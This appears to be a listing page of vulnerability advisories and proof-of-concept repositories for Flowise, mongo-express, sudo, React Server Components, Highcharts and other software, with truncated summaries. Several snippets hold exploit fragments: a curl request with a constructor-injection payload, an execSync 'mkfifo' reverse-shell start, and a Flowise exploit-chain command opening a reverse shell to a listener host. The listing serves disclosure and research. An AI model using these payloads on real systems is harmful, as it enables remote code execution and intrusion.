CVE-2021-42342

CVE-2021-42342 CVE-2021-42342 RCE POC1:just prints include include include include static void beforemainvoid attributeconstructor; static void beforemainvoid write1, "Hello World!\n", 14; POC2: reverse shell include include include include char serverip=""; uint32t serverport=7777; static void...

CVE-2025-59528.yaml

CVE-2025-59528.yaml Flowise is a drag & drop user interface to build a customized large language model flow. In version 3.0.5, Flowise is vulnerable to remote code execution. The CustomMCP node allows users to input configuration settings for connecting to an external MCP server. This node parses...

CVE-2025-59528

CVE-2025-59528: Flowise CustomMCP Remote Code Execution PoC A Go proof of concept for CVE-2025-59528 targeting Flowise versions Example go run main.go http://target.com h3D9jD7Xzi0V2KSrld9ff4P3rm6cuNXg1uA-wFsUYc "touch /tmp/pwned"...

CVE-2019-10758

CVE-2019-10758 PoC Setup docker run -p 27017:27017 -d mongo npm install [email protected] cd nodemodules/mongo-express/ && node app.js cURL exploit curl 'http://localhost:8081/checkValid' -H 'Authorization: Basic YWRtaW46cGFzcw==' --data 'document=this.constructor.constructor"return...

CVE-2025-59528-POC

CVE-2025-59528 - FlowiseAI CustomMCP Remote Code Execution CVSS 10.0 Critical | Blind RCE | FlowiseAI Flowise = 2.2.7-patch.1 and = 2.2.7-pa...

CVE-2019-10758

CVE-2019-10758 mongo-express remote code execution, reverse shell code as follows: POST BODY 1: document=this.constructor.constructor"return process".mainModule.require"childprocess".execSync"mkfifo /tmp/f" POST BODY 2: document=this.constructor.constructor"return...

CVE-2025-59528

CVE-2025-59528 – Flowise CustomMCP Node RCE PoC Overview This repo containts proof of concept demonstrating CVE-2025-59528 in Flowise v3.0.5 The vulnerability exists in the customMCP node, where user-supplied mcpServerConfig input is processed in a way that leads to JavaScript code execution via...

CVE-2026-41242

CVE-2026-41242 — protobuf.js Code Injection to RCE CVSS 9.4 Critical | Code Injection CWE-94 Overview protobuf.js npm: protobufjs versions ≤ 7.5.4 and ≤ 8.0.0 are vulnerable to arbitrary code execution via type names in the protobuf schema. The @protobufjs/codegen module concatenates type names...

Seroval: Code injection through a typed array's own constructor property

Summary seroval writes a typed array as a call to its constructor. In affected versions, the constructor name in the output is read from a property that data on the value can replace, and it is written without checks. A typed array that received properties from untrusted data can then put arbitra...

GHSA-F86P-H4J2-7QGJ Seroval: Code injection through a typed array's own constructor property

Summary seroval writes a typed array as a call to its constructor. In affected versions, the constructor name in the output is read from a property that data on the value can replace, and it is written without checks. A typed array that received properties from untrusted data can then put arbitra...

sudoinjection

CVE-2025-32463: Local Privilege Escalation via sudo -R NSS Injection Summary This PoC demonstrates local privilege escalation on Linux systems via abuse of the sudo -R option in conjunction with a custom NSS module. It targets the vulnerability CVE-2025-32463, which stems from unsafe handling of...

CVE-2025-55182

CVE-2025-55182 This repository contains a PoC reproduction of CVE-2025-55182 , a critical security vulnerability in React Server Components RSC that allows unauthenticated arbitrary code execution. Description The vulnerability exists in how React Server Components deserialize "Server Actions" fr...

CVE-2025-58434-59528

CVE-2025-58434 + CVE-2025-59528 Exploit chain for two vulnerabilities affecting Flowise -c "id" Reverse shell with existing key: python3 flowisechain.py -t http://target --api-key --lhost 10.0.0.1 --lport 4444 Options Flag| Description ---|--- -t, --target| Target URL -e, --email| Target account...

CVE-2026-40897

CVE-2026-40897 Remote Code Execution in Math.js Expression Parser ★ CVE-2026-40897 Remote Code Execution in Math.js PoC ★ https://github.com/user-attachments/assets/8c394039-f00a-4875-991a-fb5f40bc6898 Overview CVE-2026-40897 is a Sandbox Bypass leading to Remote Code Execution vulnerability in...

CVE-2026-118249

Highcharts JS is a JavaScript charting library based on SVG. From 13.0.0 until 13.1.0, Highcharts builds series data columns by using point option keys directly as column IDs. Own enumerable proto and constructor keys from parsed point objects can therefore direct integer-indexed writes to...

CVE-2026-118249 Highcharts: series column construction writes to Object.prototype

Highcharts JS is a JavaScript charting library based on SVG. From 13.0.0 until 13.1.0, Highcharts builds series data columns by using point option keys directly as column IDs. Own enumerable proto and constructor keys from parsed point objects can therefore direct integer-indexed writes to...

EUVD-2026-112363

Highcharts JS is a JavaScript charting library based on SVG. From 13.0.0 until 13.1.0, Highcharts builds series data columns by using point option keys directly as column IDs. Own enumerable proto and constructor keys from parsed point objects can therefore direct integer-indexed writes to...

CVE-2026-118249

The Highcharts JS charting library (versions 13.0.0 to 13.1.0 ) is vulnerable to Prototype Pollution (CWE-1321). The flaw occurs because the library builds series data columns using point option keys directly as column IDs. This allows own enumerable — specifically —proto— and constructor keys fr...

CVE-2025-55182

CVE-2025-55182 This repository contains a PoC reproduction of CVE-2025-55182 , a critical security vulnerability in React Server Components RSC that allows unauthenticated arbitrary code execution. Description The vulnerability exists in how React Server Components deserialize "Server Actions" fr...

React2Shell-CVE-2025-55182-The-Deserialization-Bug-That-Broke-the-Web

React2Shell CVE-2025-55182: The Deserialization Bug That Broke the Web ⚡ React2Shell, CVE-2025-55182, RCE Vulnerability: A critical breakdown of the unsafe deserialization flaw in React Server Components that enables unauthenticated remote code execution across default React/Next.js setups. ⏩ TL;...